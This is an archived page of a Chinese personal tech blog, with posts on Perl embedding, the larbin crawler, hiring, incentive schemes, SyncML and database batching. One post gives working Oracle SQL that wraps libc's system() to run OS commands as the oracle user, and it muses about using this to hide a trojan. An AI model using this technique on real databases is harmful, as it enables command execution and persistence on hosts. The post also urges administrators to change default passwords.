Archive for the '我看技术' Category

在C程序中嵌入 Perl

Monday, February 20th, 2006

常常吹嘘自己喜欢脚本语言,但是我觉和我肯定不会自己去写一种脚本语言,虽然有过这种冲动并且去认真学习了php的实现以及yacc,lex的使用,但最终都不了了之。一方面这个世界上已经有太多太多的语言,再写一个除了自己好玩外没有任何意义,另一方面实现一门语言是一项浩大的工程,大哥啊!我还年轻还想多花点时间在泡MM上呢,哈哈!。人家Larry Wall以及世界上无数的高手、天才们努力了20年把perl发展到了现在这种程度,为什么我就不能站在巨人的肩膀上呢?还是自己写一个好?即使成功了估计我也满头白发了,那时候这一切还有意义不?(我可没自信在我活到82的时候还可以说:我能,我还能!啊,我能活到82吗?)。
所以我决定学习在C程序中嵌入Perl。
其实把某种脚本语言嵌入C的想法是这么产生的:由于我现在工作的系统中有一个公司以前(及现在)高人们写的脚本解释器,现在是系统中的主要功能模块,在做各种文件格式转换及字符串处理确实比用C来写方便很多。这个解释器经过多年的发展已经很不错了,但还不是非常完美,而且我对它并没有多大兴趣。
于是开始了在C程序中嵌入Perl的旅程,今天是第一步,不错挺简单的:在IBM developerworks上有一个教程专门说这个的,以下是它的简化版本。http://learn.tsinghua.edu.cn:8080/2005211356/perl/PerlEmbed.html
那么有人要说了,在C中运行Perl是很简单啊,可是我的遗留系统中有很多用C/C++开发的代码,我总不能全部重写吧。。哈哈。给你介绍一个超级工具。它可以简单的把现有的C/C++代码编译生成为prel,php,ruby…….等等等等语言的扩展库。它就是………..
鼓一下掌,谢谢。。。。
SWIG — Simplified Wrapper and Interface Generator
SWIG is a software development tool that connects programs written in C and C++ with a variety of high-level programming languages. SWIG is used with different types of languages including common scripting languages such as Perl, PHP, Python, Tcl, Ruby and PHP。
官方网站:http://www.swig.org/
当然在函数使用结构时用这个处理不是很方便,那就自己先包装一层吧。

关于融合

Monday, February 20th, 2006

突然间想明白了一些事,仅供自娱。注:本人上不通天文,下不知地理,不懂古代史也不晓近代史,更从不看武侠小说,以下内容纯属胡编,如有雷同万分荣幸。如有错误请多包涵。话说很久很久以前,群雄纷争……..faint!不写了免得被砍。
本来想写个小故事的,考虑到各种问题还是算了,这里说的融合是指团队或是企业间的融合。前提:所谓融合当然是有两个势力,一方比较强大,一方比较弱小,强大的一方希望弱小的一方被钝化以成为强大一方的一部分。我们有A表示强大的一方,B表示弱小的一方。融合主要会有的问题是(指IT业):
B不愿意放弃自身的产品线,而A也不愿将自己的产品线交给B来发展和维护导致两个公司产品、技术融合出现裂痕.
A与B属于两种不同的文化,在长期的发展过程中,两方面的人身上都深深的烙上了各自的”品牌”,当A要求或是以一种行为方式来影响B的文化时候,必然造成B团队成员的抵制心理及成员间的相互抱怨,而这种成员间的相互抱怨又加剧了人员、管理的融合出现裂痕.
而这种裂痕在个人融入某个企业或是团队的情况下并没有那么明显。为什么呢?一方面因为个人的的力量有限,根本无法憾动公司的文化及管理,所以只能让自己去适应这个新环境,顶多回到家跟老婆抱怨几句。另一方面,一个人对新旧环境的比较没有几个成员间的相互讨论来的强烈,这种讨论往往把别人从不同角度看待公司的想法或是不满变成自己的想法或是不满。不是说你一个苹果我一个苹果相互交换一下就是两个苹果吗?所以两堆狗屎加起来只能是一堆更大的狗屎,由此可证:通过成员间的讨论,B中的成员们对于A的不满也越来越强烈。(当然我并不是说这种讨论就是狗屎,我也经常参加这种讨论。wahahaa)
既然如此那为什么还要整合呢?为了前途、为了发展。是吗?我不知道……..(或者说我很怀疑.)为什么整合如此困难呢?或者由于设想不周、由于团队复杂、由于A过迂腐……什么?由于整合或是选择融入A的过程不够民主。我呸!当整个大环境都忌讳”民主”这个词的时候,我根本就不知道民主是怎么定义的,难道就是幼儿园里选小组长?
引用高人的话:“LS在中国BOSS的市场上除了这个交易中原先的股东利益最大化,丝毫看不出对于整个公司、全体员工的未来发展的战略意义。”-自cweek“LS正一步步丧失了国产自主软件发展的道路,而成为DOX中国乃至全球廉价的软件工厂和本地化的维护队伍。 ” –自cweek
修改高人的话:电信行业没有衰退,衰退了的是暴利。在经过了电信行业”牛市”,行情走向”低迷”之后,行业里头比较容易消失掉的就是创造的激情,还有创造的快乐本质,当我们发现做出来的产品自己都觉得恶心的时候,我们应该感到悲哀而不是迷茫!–自cweek
请勿对号入座,谢谢。

2005之技术篇。

Saturday, January 7th, 2006

这是一篇迟来的总结。不过希望不是太迟。
总的感觉来说这一年自己技术增长得不是很大,似乎接近停止了,长期的出差很多生活方式都被打乱了,甚至于生活态度都改变了。不过多少还是有几个东西值的一提:
一,正则表达式:我blog至少4次提到过这个词,而且不止在一个人的年终总结上看到正则表达式这一词了,还记得以前还有个《10种让你免于失业的技术》中也提到过这种技术,正表表达式几乎是计算机中的通用语言(如果算是语言的话),几乎我所熟知的所有计算机语言都支持正则表达式功能,无论是传统的C/C++还是火热的java异或是五颜六色的脚本语言,还有我所使用的很多文本编辑工具都支持正则表达式查找和替换。像vi、UE,source insight等等等等,那正则表达式为什么这么流行这么受人欢迎呢。首先从结果上看它改善了你的生活,很多自己写程序来做文本处理的事情用正则表达式可能只需要一两个语句就行了,而且让你感觉解决方案那么的完美和令人舒服。其次正则表达式让你用一种与以往不同的方式来看待文本,就是:文本是有结构的。是的,它以行、词、字符等等元素组成,而正则表达式正是让你用模式语言描述文本结构的一种技术。掌握它之后生活将变得更美好,而正则表达式也是我在2006年希望继续提高的一项技术。不过有高人说过:学习正则表达式没有捷径。一个用了十年正则的老手也会有栽倒在正则上的时候。一个用了一辈子的骨灰也会发现原来还有他不知道的用法。
二,perl:本来想把perl归到下一类”脚本语言”中来说,不过既然正则表达式排在第一位,那么perl排在第二位也是理所应当的,因为perl和正则表达式是紧密相关的,虽然不能说没了正则表达式perl就失去了存在的意义,不过至少是失去了很大一份光彩,因为正则表达式几乎深入perl的每一个角落。虽然我很早知道perl不过第一次使用应该是去年写的那个nat代理,就是所谓的p2p技术,让外网的用户可以连接到内网进行操作,方便我们在各省的兄弟们管理各省的系统(不过不是很成功),真正关注起perl应该是今年学习网络爬虫的时候为了定制自己的各种需求和处理返回的结果,才开始找各种资料和文档来看的,进一步深入以后发现自己越来越喜欢这东西,方便、简约,人性凡是我所以想像到的赞美的词语加上去都不为过。感谢Larry Wall的伟大创造,今年继续努力。又有高手云:perl是一门非常优秀的语言,学好他后你就远远不止在网络安全方面有重大收获了。
三,脚本语言:在我的很多地方(包括简历)写自我描述的时候都会加上这么一句”狂热的脚本语言爱好者”,记得学习的第一个脚本语言应该是php,那是改别人的程序来写自己的文章发布系统,从那以后一发不可收拾,凡是听说过的脚本语言都下下来试一试,自己喜欢的(像php)就下载语言实现的原代码来阅读,虽然到现在也没特别精通哪个语言,但是它们对于我想法的影响是非常巨大的,首先我喜欢上了那种即时修改即时生效的开发和调试模式,喜欢上了用它们作为一种类似胶水的东西把各种自己熟知的东西整合为一个更强大的东西(这一想法在深入使用unix,linux后得到了放大)。更多的语言使用我学到了不同的方法处理同一个问题,极大的开阔了我的视野,现在几乎一般的问题我很快就能找到某种解决方法,甚至于想到几种不同的方法并取其中一个(这就是人家所说的解决问题的能力?hehe),这一切都得益于各种种样的脚本语言。说到脚本语言2005的最大热点应该是ruby和它的web开发框架:ruby on rails,rails确实把web开发从一种不断重复的对表的CRUD所带来的痛苦减到了最小(至少是我所见过的,我定阅的rss中有几个python web 开发框架的开发者,不过我都没深入去看,不好评论.),以及其它种种好处不再纂述,从此我也越来越喜欢用这东西开发网站,一共做了两个,虽然都是玩具.不过我想让我回去用php做网站的可能性已经很小了。Perl说:There is more than one way to do it.
四,WEB技术:Web技术除了上述说的rails,还有更多的像ajax,rss之类的东西在2005走进了我的视野,还有大家所鼓吹的Web2.0,不过关于这个话题我会专门写一篇东西来说说我对2.0的看法(实际上已经写了很久了,还没写完。),但是我所写的不是赞美而是批判,那些一直在YY的精英们,当世界上其它国家都在讨论2.0的概念时,我很震惊的发现国内的很多人都在散发他们”成熟的2.0″应用。赫赫。可能发现我几乎很少在blog上提到过java这东西,不是我生活在远古,不知道这东西,事实上因为工作上的需要,年初我还给公司的新产品(或是新版本)搭建了一个前台程序原形,这一阶段至少有四个人(包括我)在不断的完善这个原形的功能,并已经在各地上线,用的是webwork框架直接用jdbc操作数据库,但是从个人角度上看我是非常不喜欢java的,最主要问题是我的512M的内存实在是跑不动这些应用,而两三年的C工作经验,让我对于效率以及内存占用问题很敏感,虽然最终的服务器可能运行在16个CPU,8G内存的主机上,不过对于这种技术我还是没什么好感,似乎从我99年第一次接触java开始,就注定了我跟它之间不会有太多缘份。引用人家一篇文章的标题:《博客在灿烂中死去》(注:地址是刚刚google上找到的,原文出处不详)表达我对现在大家说的2.0的看法:Web2.0,在精英们的YY中死去。
五,操作系统:操作系统没什么好说的吧?好像是的,无非是windows和各种unix like系统,我发现现在我在win平台上除了基本生存能力和简单小程序开发上还混得过去外,其它方面都很是让我紧张和没把握。(人家说我这几年没原来学校时那么张扬了,赫赫,被生活磨的吗?或许吧,不过当时很多的自信或是自大可能来自于无知吧,当自己慢慢明白很多东西后,发现其实自己没那么多能耐)。unix平台绝对是一个伟大的平台(这不是废话嘛,谁不知道),最近这两年的工作因为跟unix接触的多了,慢慢的对于计算机,对于系统设计的看法,发生了很多的改变,慢慢的我不再习惯于把所有功能写进一个大程序,而将它们分成小程序再通过各种进程间通信(或是别的方法)串起来。不再把各种数据库,操作系统看成那么的安全和稳定,而是把它们看成是系统中不可控的一部份。越来越喜欢使用和定制各种开源的程序开解决自己的问题,而不是从头开始全部自己一点点的做。慢慢的习惯了写小的脚本而不是自己手动的处理来改善自己的生活(当然我很讨厌shell脚本,至今连里面的if语句怎么写都不知道)。慢慢的…..
慢慢的我会越来越喜欢unix的。。。haha.
最后总结:
工作四年,没太大长进,但是至少慢慢的我告别的无知,慢慢的有了自己的想法和自己的做事方法,技术学习上我从未停止过脚步(虽然有时候会停上来歇歇脚,haha),慢慢的也在摸索自己的学习方法和做事方式,也希望尽早确定自己的方向,我想2006将是更加丰收的一年吧。
敬请关注下篇:2005之生活篇。

出离的愤怒

Friday, December 16th, 2005

飞机在始发地因为起落架问题延误了四个小时,中转站因为乘客拒绝登机又停止了两个小时,而航空公司对于我们这些好说话的乘客,连句解释都没说,而那些吵得厉害的人却都给了赔偿,而且按上机的前后赔得不一样,最早上的没有,再晚一点的100再晚一点的200最后上的500,这么大的一家企业对于顾客却是如此,太难以令人想像了,我想迫不得以的情况下我是不会再乘坐这家公司的航班了。难道这个社会就是要让人学得刻薄?似乎像我们这些早上机的人们太宽容了,不止是钱的问题,难道好对付就不需要管了吗?一天没吃饭,居然说是不是他们的责任,难道是我们的责任?要不然,那个时间我早就坐在饭店里吃呼啦羊蹄了还会向你要那种垃圾食品?
更气人的是,在过西安时,不让我们下机,美其名曰:加快速度。后来才明白原来怕这些人下去了,跟外面拒绝登机的人混到一块去了。结果又让我们傻坐了两个小时。简直无耻。
是不是我们也应该学学那些拒绝登机的人?难道真要学着刻薄点,太好对付了也不行,算了,不多说了。
机上看到他们的杂志:看到吹他们自己如何如何好,如何如何准点,还有一篇:

Y的,你他妈的做婊子就别出来立牌坊。我骂人了,我就骂人了怎么招?

larbin使用说明

Wednesday, December 14th, 2005

larbin是一种爬虫工具,我也是前段时间网上看到 Larbin 一种高效的搜索引擎爬虫工具 一文时才知道有这么个东西,初步认定,我比较喜欢这个工具(比起nutch的crawl来说),因为它是C++写的,类似C嘛,我熟,可以自己改改,顺便学习一下C++(几年来的经验告诉我说:改别人的东西来学一种技术比从头写helloworld快很多)。于是开始了我艰辛的larbin试用之旅。回头看看自己遇到的问题都是由于没认真看文档引起的,唉,老毛病了。下次即使是E文的也得好好看,不能盲目的试,浪费时间。
larbin官方地址:http://larbin.sourceforge.net/index-eng.html
一,编译 这也好说,whahahaha,那是!因为从官方网站下下来的代码不能编译通过(linux gcc下)./configuremakegcc -O3 -Wall -D_REENTRANT -c -o parse.o parse.cparse.c:115: error: conflicting types for ‘adns__parse_domain’internal.h:571: error: previous declaration of ‘adns__parse_domain’ was hereparse.c:115: error: conflicting types for ‘adns__parse_domain’internal.h:571: error: previous declaration of ‘adns__parse_domain’ was heregmake[1]: *** [parse.o] 错误 1gmake[1]: Leaving directory `/home/leo/leo/larbin-2.6.3/adns’make: *** [all] 错误 2 函数原型和定义不一致这个好改:打开./adns/internal.h文件,把568-571行直接注释掉就行了。
二,运行这个就不说了,./larbin就运行了,larbin.conf中先进行配置就可以了,这个配置就不说了。。运行后可以http://host:8081看运行状态,不错的想法。larbin.conf中有个:inputPort 1976配置,就是可以运行时增加要抓取的URL,这个想法非常好,可是?怎么加呢?象起初那样:http://host:1976那样是不行的,报错???试了好久没结果,最后GDB跟踪了一下,唉,原来直接telnet host 1976进行增加就可以了。后来看到文档里写的亲亲楚楚,晕倒。。。。。
三,结果哈哈,下班后找了台机子跑了起来,那晚睡觉的时候都梦见自己的搜索引擎赶GOOGLE超BAIDU了,那个兴奋啊。第二天上班的时候取看结果,发现目录下除了些fifo*文件外什么都没有,那个郁闷。没办法啊,再看文档 How to customize […]

oracle的library,安全问题?

Monday, November 14th, 2005

很久没说关于技术方法的东西,随便说说。
前两天在中安看了个关于oracle存储过程蠕虫的东西,后来看到些关于library的资料,发现竟然可以在oracle中使用共享库或是动态链接库(根据平台而定)。
几经尝试写出如下代码:
create or replace library test as ‘/lib/libc-2.2.5.so’;
create or replace package test_p
as
function systems(s varchar2) return pls_integer
as language c name “system” library test;
end test_p;
/
select test_p.systems(’id > /tmp/a.log’) from dual;
以下命令在的测试的linux下的执行结果是:
cat /tmp/ a.log
uid=501(oracle) gid=501(oinstall) groups=501(oinstall),500(dba),502(oper)
也就是在oracle命令行可能执行程序的shell了,以上只是个简单的示例大家可以自由发挥了,
虽然在create library时需要dba权限,但是我发现很多主机的sys或是system的密码在安装后并没有修改,所以提醒数据库管理员们记得一定修改数据库默认密码和注意密码强度。
一般这dba组(指操作系统上的)拥用不少权限了,特别是很多其它用户是属于这个组的(比较说我的环境),而且存储过程这种东西很不容易被发现,所以要做个木马这倒是个不错的主义。。。。
虽然我用oracle三四年了但是比较少的书本说到library或者我自己没系统的学习用,所以这几天才知道这东西,原来存储过程也可以这么写的啊。哈哈。不知道都用系统库写存储过程是不是很爽哪。。估计也可以写出功能很强大的存储过程了。
其实很多东西浅尝是不行的,要深入,深入后自然知道其中很多美妙的地方。

你开软件学院的吗?

Friday, November 4th, 2005

呵呵,“你开软件学院的吗?”,起这名字我自己都觉得很搞笑。
今天聊聊人员招聘问题。我是草根,人员招聘肯定不是我应该关心的问题,不过这几天老有人跟我说因为别人挖墙角导致他被人骂的事,我也随便说两句,还是那句话:对于我所讨论的所有非技术问题大家都“别太当真”了。
首先声明,我没上过软件学院只是从广告上了解一些信息,不知道软件学院具体是怎么样的,所以我的软件知识也不是从什么软件学院学的,而且大部分是自学的。但是今天想讨论的是IT企业招人到底应该招合格的从业人员,还是该招应该去软件学院深造的潜在“金领软件工程师”—软件学院语,
“人是可以培养的”我同意,但是IT企业应该培养什么样的人?至少要根正苗红的吧,更至少还要人家愿意让你去培养的吧,丫的连个sql语句都写不完整,还在那牛B牛B的,叫我(代词,不是指真的我)带他写C,赋值语句说了10遍还没学会,真是叫人吐血。
这样子培养(说难听点叫“抚养”)人不是IT企业的任务,而是软件学院扫盲班的潜在生源,人家9年义务教育还得交钱呢,现在给扫盲还给人家钱,脑子烧坏了吧?
牢骚发完了,说真的,多招几个连基本概念都没有的人进来,只会增加现有员工的负担,天天问这问那倒也罢了,给说了还不明白,这不是影响工作,简直就是严重影响心情和士气。搞得我任务一样要完成还要天天陪s子玩?更重要的是交流还不通一个个NB,NB的把人给气的。不是不愿意教人家或是怕人家都学会让自己混不下去(再说了就丫的那样?),而是人家连一点底子都没有,一个简单的东西得说上10遍?郁闷。也真是搞不懂现在的学生在大学四年是干什么吃的(没错我是中专的,别说我吃不着葡萄)。还有一个就是态度问题,即使丫的能干活了,技术过硬了一天到晚不干活即使你是windows内核开发人员,也不能给团队带来价值 。
所以招人还是要(只说技术):
1. 聪明。(即使基础差了点,只要聪明点还要肯学也那是可以接受的。)
2. 能做事。(再牛的人也要把你的能力转换成产品才能创造价值哪。)
还是招些合格的从业人员吧,免得其它有员工有意见,更重要的是软件学院要说了:你个傻子抢我生源还不说,还给人家钱?烧着了是吧?
套一句话:
人哪,如果不能干就可聪明,不聪明就要刻苦,不刻苦就要XX(不想说这两个字),再不然就早点去死吧。
顺便庆幸一下,还好身边那些好友,女友不属于那一范畴,要不然以我的性格总有一天会被气死。
以上内容言辞过激了些,多了些骂人的话(似乎很多这种话都是我出差时学来的。特别在北京的时候看人家对骂,真是听得我都呆了。福州人嘛据说也很强,不过福州话我听不懂。呵呵。)
不过以上再怎么说我都没有看不起谁谁谁的意思,从某种角度上说我这个中专生应该是被人看不起的才对,不过我这人不服输,就是越被人看不起越是要拼一拼,记得当时就是因为两个人叫我“不会就不要叫”才使我坚定的走上程序设计路的。或者我并不比别人聪明,只是更加坚定或都更努力一点(或许现在的我说这些还太早了点),我的计算机知识大部分是自己学的(入门语言pascal和C确实在课堂上认真听过),如果你知道我中专上学时间是如何一天只吃一餐(当然不是很经常,一般指周未)而坚持拿着不多的生活费而每天去上机,知道我毕业后每天下班后到凌晨两点之间的生活(当然,现在没什么激情了)你就会知道我上面为什么说“搞不懂现在的学生在大学四年是干什么吃的”,顺便说教一下,还在学校的朋友们,我觉得一个人在学校,至少是在学校的最的几年(中专也好,大专也好,技校也好,本科也好……)至少应该做过以下几个事:
1. 疯狂过
2. 努力过。
3. ……
4. …….(这些不说了,个人看法)
我可以说疯狂过,努力过,但是年轻的朋友,千万别只是疯狂过、恋爱过,千万别忘了努力一下。。。。。
所以我尊重每一个人,因为明天会是怎么样谁都不知道,再说了每个人都有其自己优秀的地方或者只是我们还没看到罢了。。因为本文正文一些话而在此特别说明一下。

激励制度激励人吗?

Wednesday, November 2nd, 2005

最近上面为了提高周报的质量和及时程度出了个奖惩制度,周报写得好的、及时的年终考核+50,做的不好的-50。从我听到的反应是嘘声一片,在我看来把一群有独立人格、思维成熟的人们当作幼儿园小孩一样对待,不是无聊简直就是….(或者我太过激了,^_^),“几乎每公司都有某种激励机制正在干着侮辱和贬损人的勾当。”(刚才无意是翻到joel on software中说的这么一句话。)
下面写写对joel on software中《重金激励害多利少》的一些想法。

似乎我们每年都会遇到这么些事情,拿一张表让你匿名对自己的直接上司提出一些评价(好像匿名这样能保证很中肯似的。看到这里大笑)。然后给你一张表从1-5分针对每一项给自己评分,每次填这个表的时候我都是选择3-4分比较多,偶尔选一个2分的或是选一个5分的,虽然在我看来这并没什么实际意义但是2分选太多了似乎表现太差了,5分先多了似乎自我感太良好了,于是3-4分是比较合理的选择,但是这些表真的有人看过吗?我很怀疑。
于是你的直接上司就根据你自己写的内容或是说根据“他所看到的”你的表现写上他的评语,然后……然后怎么样我就不是很清楚了。。。(似乎学生时代我比较关心老师是怎么说我的,毕竟要给家长看的,或是希望满足一下自己那点虚荣心)
而整个激励制度的问题似乎就出在上级对于某个人做出评价上面,可能写评价的人对于被评价的人不是那么了解,不知道他做了哪些对于团队有意义的事情(或者并不是多写那么几行代码),或是写评价的观察点不同,没发现被评价人的真正价值。而很多公司为了展现所谓的公平或是说为了达到真正的“激励”的效果,往往会把评估的结果公布出来。噢,可惜的是每个人都觉得自己工作得不错(即使事实上他们工作得并不好),都希望出现在被奖励的名单中(即使你不看重这个,但是你不能否认你希望被表扬而不是被批评)。正因为每个人的这种稍微良好的自我感觉才使得我们的生活能够得以继续,使得那么多愚蠢的傻子得以有脸面继续生活在这个世上(也许我该说得轻点,改为“有脸面在这个公司继续混下去”)(或许我不应该这么频繁的骂别人是傻子,不过这几天的确被这些傻子给气坏了,以至于我都开始怀疑是我自己难道是傻子?)
对于评价这东西谁都不能说是公平的,但是对于每个人来说,得到好的评价是理所应当的,不过即使得到了好的评价也不能起到任何的激励作用,因为这只是对我的工作的正确评价(难道你不是这么想的?除非你实在是工作得太烂了,连自己都看不下去了。就像现在的我。而我似乎每次都对于给我的好评觉得好笑?难道我真得做得不错?或者是我对自己要求高了些吧。哈哈哈哈,又开吹了)。
所以多数人对于这些评价的结果都是失望的,而这种失望对于士气的影响有多大呢?有的人甚至因此另谋出路……
所以忘了这该死的激励制度吧。至少多往好里写少往坏里写或许不会影响到士气吧。(或许我应该看看《两只胡萝卜的管理》据说是最好的激励读本,在某个航班上看的介绍,或许能改变一些我的想法,虽然我从不吃胡萝卜)
上面发牢骚发得比较多,这两天看有些人的评论说我果断,无聊啊之类的。是啊,一家之言,给生活加点笑料罢了,别太当真。(只可惜我实在写不出什么更搞笑的文字了).

SyncML简介

Monday, October 31st, 2005

您是否遇到这个问题?您的手机上有个电话本,办公室PC机上有个outlook,PDA上也有个联系人,家里的电脑也是个联系列表,您是否总是烦恼于这些设备的资料不能同步,或是忙于对各个设置上的数据不停的进行同步?更或者您的手机丢了或是硬盘坏了而导致联系人资料全部丢失(!_!),那么SyncML就是为了解决这些问题而生的。
SyncML是一种 (Synchronization Markup Language)是一种平台无关的信息同步标准协议。是一种开放的标准得到的广大的设备产商的支持。现在比较多的应用于手机电话本的同步与备份上。
SyncML主要包含:设备管理协议,数据同步协议,邦定协议。
据我现在的简单了解设备管理就是指同步双方的设备能力的控制。同步协议是主要的内容就是通过定义好的消息包(SyncML,XML数据包)根据一定的顺序和操作方法进行服务器与客户端双方的数据同步,邦定就是定义了SyncML如何通过下层的标准协议进行传输(http等)。(个人初步了解得到的理解,可能不正确,欢迎指正交流)
近期关注:SyncML,Sync4J及相关内容。

节约内存是一种罪恶?

Friday, October 21st, 2005

节约内存是一种罪恶?
回福州几天了,有好多东西想写,可是由于一些个人问题而中断了,那怎么办呢?今天来个重量级别高一点的内容吧。这可是我花了一两年时间才明白的东西哪。。。是的,一两年。
似乎从我的第一位程序语言老师开始,任何人都这么告诉我:“写出来的程序,要跑得又快占的内存又少”,不是吗?(第一位程序老师?噢,陈老师您好!不,可能还有更早的?是的80年代的basic教程。呵呵,别说我是80年代出生的,但是我的的确确很认真的读过80年代的basic教程,虽然那时我还小)。所以现在的人们看到这种说法似乎觉得合情合理,是啊,跑得又快占的资源又少。可是这往往是做不到的,你想让马跑得又快,吃得又少或者像以前的地主们总是希望长工吃得少干得好这可能吗?有可能,不过有一个度,我们只能尽可能的把握这个度,让程序跑得足够快,又使用合理的系统资源,不是吗?但是在这硬件技术快速发展的今天,我们应该认真考虑一下是否为了节省10M的内存占用而去花费两个小时时间来优化程序。这么做似乎损失的不只是你的两个小时,还有系统的速度和稳定性,您看得没错还有“稳定性”。让我们先看看下面这则故事(如果觉得相当无趣,直接看后面的说明吧)。
记得遥远的公元2002年,程序员leo(这名字怎么这么熟悉?呵呵,是我年轻的时候)接到一个开发任务,开发一个两个系统间用户资料同步的程序,然后这个程序跑在一台hp 6000服务器(我希望您明白PC机,服务器,小型机,大型机是一个逐级上升的设备排列,虽然很长时间我并不明白。),4个intel至强CPU,3G内存,在win200系统上面跑了一个负荷很小的bea tuxedo应用服务器以及一个用以程序版本升级的ftp服务器。CPU利用率5%以下,内存占用率750M以下。leo似乎明白了要做什么,并且写出了简单的功能说明:从A系统取到用户ID,然后从B系统获取用户资料,判断资料是否相同,不同则更新A系统的用户信息。很简单是吗?是的按照leo那时的经验和想法,只花了一个半小时就用delphi写出这么个程序,一个TQuery控,从A系统的用户表中获取用户ID,有如:select msisdn from vip_users; 然后对这个ResultSet进行循环,直到eof前一直做:
1.获取当前记录用户id,既:msisdn字段。
2.从当前(A)系统获取用户资料。
3.从B系统获取当前用户资料。
4.调用或个函数或者存储过程比较两系统的资料。
5.如果资料不一致将B系统的信息更新到A系统中。
“啊哈,完成了。哥们,我写出了一个可执行程序只有500K大小,占用内存不超过20M的程序来完成这个功能。”
第二天系统上线了,30万数据的用户资料跑了5个小时完成数据同步,于是兄弟们都上前为leo祝贺,“你完成了一个伟大的功能”,“那我们让它每天晚上2点自动运行,这样早上上班的时候人们就可以看到同步后的最新信息了,真棒!”
一个月,两个月过去了,没出过任何问题,人们似乎忘记了leo曾经写过这么一个伟大的程序。而由于客户的业务开展良好,进入vip_users的用户也越来越多了,一切都是那么的美好….
一天9点半的时候,leo还在沉浸在梦中与美女相会,客户经理打来电话,“怎么回事,我们的数据与B系统中的不一致?”,“不可能,我们的同步程序每天都在定时运行”…………
———呵呵,大家不要扔砖头,我是一个很憋脚的故事作者,呵呵,第一次用这种方式写东西。。。
leo到公司查一下确实资料不是同步的,实际上同步程序还没运行完成,经过几天的观察同步程序不是在上班时间前跑不完成就是在更新过程中由于数据库(长时间连接)异常退出了。。。。
由于系统用户的增多,更新程序已经无法在5,6个小时内完成任务了,于是大家讨论出了解决方法:启多个进程每个进程更新一部分数据。
呵呵,程序还是那么的小,占用那么少的资源,只是跑多个程序,这已经足以让leo再自豪一阵子了,看我写得程序多么具有可扩展性,在不修改任何代码的情况下能适应系统的新需求。于是大家将程序复制一份修改了取资料的语句,原来的:select msisdn from vip_users; 变成了
select msisdn from vip_users where area_code in(a,b,c); 和另一份的:select msisdn from vip_users where area_code in(d,e,f);
就这样在后面的很长一段时间内,程序不停止的被拷贝,sql语句里的where子句不停的修改。因为大家都觉得这不是程序的问题,这是数据量增大的问题,因为leo的程序写得又简单占用资源又小,这完全符合老师们跟我们说的”好程序”的标准哪。
这种情况在leo离开这间公司后仍然延续着…………
好的,故事讲完了,聪明的您是否看出了leo犯的错误,是否对于故事的内容有很多疑问?是否对前面说的:“而这么做似乎损失的不只是你的两个小时,还有系统的速度和稳定性”有疑问?怎么影响稳定性了?
好,让我们看看leo离开这间公司一年后(这是真的),对于这个问题的解法:
一年后仍在维护这处系统的哥们找到leo,说“救救我吧,我被这处程序折磨的要疯了..”
leo给出了下面的解法:
1.将A系统需要同步的所有用户ID和资料全部(或部分)一次性加载到内存的链表,比如delphi中的T***List中。
2.循环链表,取得B系统中当前用户ID的资料
3.比较两系统的资料.
4a:方案一,将资料不同的记录放入需要更新的链表。(推荐)
全部比较完将需要更新的链表中的数据更新到数据库。
4b:方案二,直接更新需要同步的数据到A数据库中。
当然数据量非常大的时候把数据全部加到内存是愚蠢的,所以你可以在上面步骤的外层加一个循环,比如每次加载5万或是10万的记录到内存来处理。
非常简单的修改,带来了巨大的改变,更新速度快了,而且再没出现过更新过程由于数据库长时间连接的错误而退出的情况了,那哥们说“哈哈,我又有时间去泡武汉大学的MM了”。
这两个方法其实非常相似为什么效果有这么区大的差别呢?
首先你需要明白:
1,数据库资源是非常宝贵的。占用一个长时间的数据库连接,远比您的程序占用1G的内存来得罪恶。
2,数据库是非常慢的。(??是的,我没说错,在我们现在的系统是在IBM 690上跑的数据库,而整个系统中最慢的那些程序就是与数据库相关的程序,而这些应用往往只是做简单的插入和更新,但这并不是因为我们不懂如何使用数据库或是语句没经过优化之类的,oracle,sybase,db2很快吗?无论数据库查询或是修改速度再快您觉得它会快过链表操作或是平衡二叉树操作吗?)
3,外部系统(这个故事里指数据库),是不可控的。 您可以任意的修改您的代码,却无法修改外部系统的任何东西,哪怕只是想把某个变量声明得更可读些。甚至您根本不知道它们会在什么时间出一个什么样的错误。
第二种方法改变的只是将长时间依籁于数据库系统的操作改为依籁于应用内部资源使用的方法,这样您只是多占用一些原来就空余的内存,少占用一个长时间的数据库资源,这样您就不会由于长时间占用数据库的临时表空间,内存资源,回滚段资源,进程资源,而发生的数据库强制断开连接或是网络错误。数据库也不必长时间保存您的操作结果而不能为其它人服务了。。(您记得前面我说的3G内存只用了750M吗?)
并且由于您查询的数据全部放到您的进程地址空间,而一切都变得都由您来控制。
“但是您占用了很多内存哪?”,是占用了比原来多很多的内存,不过利用这些空闲内存解决天天烦恼您的问题,较之于闲置着几G的内存而让您天天看着系统资源利用率不到5%那种意淫得来的快感是不是舒服很多?
对于一般的系统来说:输入和输入是最不可控的,我们应当尽量减少由于输入输出而引起的软件异常对于系统处理流程的影响,最直接的做法就是限制系统中对于输入、输出的操作点和操作频率。把这种最可能出现的异常限制在最少的地方和最少的时间。
所以我们所建议的系统流程是:
1.加载系统输入数据。一次性加载全部或是一大批,而不是一次一条。
2.数据处理逻辑。这里只是在内存中处理数据,尽可能的不涉及到输入和输出操作,因为毕竟内存操作的出错可能性远比文件系统、数据库或者网络来说小得多得多。
3.处理结果输出数据。也是一次把您前一次载入的输入的处理结果输出,而不是处理一条输出一条。
从大的范围来说这种方法对于异常的处理是最经济的,对于事务完整性的处理也最简便,加载输入,处理数据和处理输出中的任何异常您都可以简单的限定在不同操作的范围内,不需要考虑单条处理过程的那种复杂的事务处理。
所以我们应该尽量多的使用系统空闲资源(你知道为什么用top之类的命令看linux[或者说unix like]系统的资源利用率总是很高吗?),忘记了老师教给你的“吃得又少跑得又快”的马吧。
因为浪费系统资源,节约内存是一种罪恶。
当然本文讨论的内容并不适合所有情况,大家仁者见仁,智者见智吧,当您由于对PC应用叫嚣这种说法而被人满街追杀时千万别躲到的我地盘http://www.upulife.com中来,那时候我也罩不了你的。
为保证读性,文中故事内容进行了部分夸大。。。呵呵,哈哈。
文中使用的例子用的是delphi,而让我明白上面道理的工作与delphi没有任何关系。C是一门让你改变很多思想的语言。(不要跟我争论哪种语言好,各人所处环境和阶段不同罢了)
MD,打字打了我两三个小时,实在打累了后半段的论述实在不是很满意改天再说吧,呵呵,改天?改天我想说的就是:《系统参数使用方法》了,不过换了Gvim的确不会出现UE那种自动换行乱码的情况,一个字:好爽,欢迎拍砖:hjleochen@hotmail.com。
H.J.LeoChen 2005.10.20 fuzhou fujian.
顺便骂一下上海F1,Md什么东西出问题不好,跑道出问题了,真是丢人。
